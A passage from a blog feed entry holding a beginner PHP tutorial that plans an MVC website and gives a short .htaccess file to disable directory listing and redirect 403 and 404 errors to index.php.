doesn't matter, for the principle of classes and object is the same.  What will be the key point of this tutorial is to show you how to implement these abstract notions in a real life website using a real database.&lt;/p&gt;</summary><content type="html">&lt;p&gt;For this tutorial, I assume that you have a basic knowledge of php and classes and objects, the
programming language doesn't matter, for the principle of classes and object is the same. &lt;/p&gt;

&lt;p&gt;What will be the key point of this tutorial is to show you how to implement
these abstract
notions in a real life website using a real database. &lt;/p&gt;
&lt;div &gt; 
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Before firing up your text editor to start coding you have to take your time to envision the idea
of your website , you have to imagine it online and how you expect your
users/clients/visitors to
interact with it. you have to imagine every possible scenario. of course you can't be expected to
have a detailed idea about it, but even a general idea will help.&lt;/p&gt;

&lt;p&gt;Our website in this tutorial will have a single index.php file and we will make sure all the
website traffic will go through our index.php file. later on we will make sure to handle every
possible link in our website in a neat and precise manner. but lets cross that bridge when we get to
it.&lt;/p&gt;
&lt;h2&gt;Our website layout&lt;/h2&gt;
&lt;p&gt;we will follow an MVC Model to create our website. this model's aim is to divide the
responsibilities of our php files : the M stands for the Model, its all the php classes that will
handle the logic, the database queries, and  the algorithms, they will be separated from the classes
that will be responsible for creating the html objects ( buttons, images, forms ....) these php
classes are the V part of the MVC Model : the views. The C in the MVC Model is the Controllers ;
these are the classes that will make changes to our database, they will be
responsible for the
insertions, updates and deletions.&lt;/p&gt;

&lt;h2&gt; Lets make our website &lt;/h2&gt;
&lt;h3&gt; Part 1 : the website directories &lt;/h3&gt;
&lt;p&gt;First we create our website directories in the following tree structure:&lt;/p&gt;
&lt;pre&gt;
    css
    js
    images
    resources
        classes
        includes
        views
    index.php
    .htaccess
&lt;/pre&gt;
&lt;h3&gt;.htaccess and changing the server rules and behavior&lt;/h3&gt;
&lt;p&gt;As I said before, we need to envision how the website will work beforehand
and before we create it. What I envisioned for my website is that I want all the
traffic to go through a single file: index.php. I want to deny direct access to
the directories and I want to redirect my website users to my index.php whenever
they try to access a directory or a file that does not exist. Luckily the magic
file .htaccess do just that and so many more. it basically alters the rules of
the webserver.&lt;/p&gt;
&lt;div &gt; 
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;h4&gt; the following instructions will make all the conditions I mentioned
above:&lt;/h4&gt;
&lt;div class=""&gt;
&lt;pre class="htaccess"&gt;
&lt;code class="htaccess" &gt;

Options -Indexes
ErrorDocument 403 /index.php
ErrorDocument 404 /index.php

&lt;/code&gt;
&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;the first line will deny direct access to existing directories in our server
by disabling directories indexing, this will result in a 403 error access denied
when trying to access a directory in our server, this is when the second line of
our .htaccess file kicks in: the 403 access denied will be redirected to the
index.php file and our visitor is none the wiser. the third line is a
redirection from 404 file not found pages to index.php as well.
&lt;br&gt;
&lt;br&gt;
In the next tutorial we will make a database connection using mysql PDO, stay
tuned. In the mean time this is a video that illustrates this tutorial.&lt;/p&gt;

&lt;div &gt; 
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;div class="framediv" &gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/RpuH8Z8XzL8" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="tutorial"></category><category term="php"></category><category term="programming"></category></entry></feed>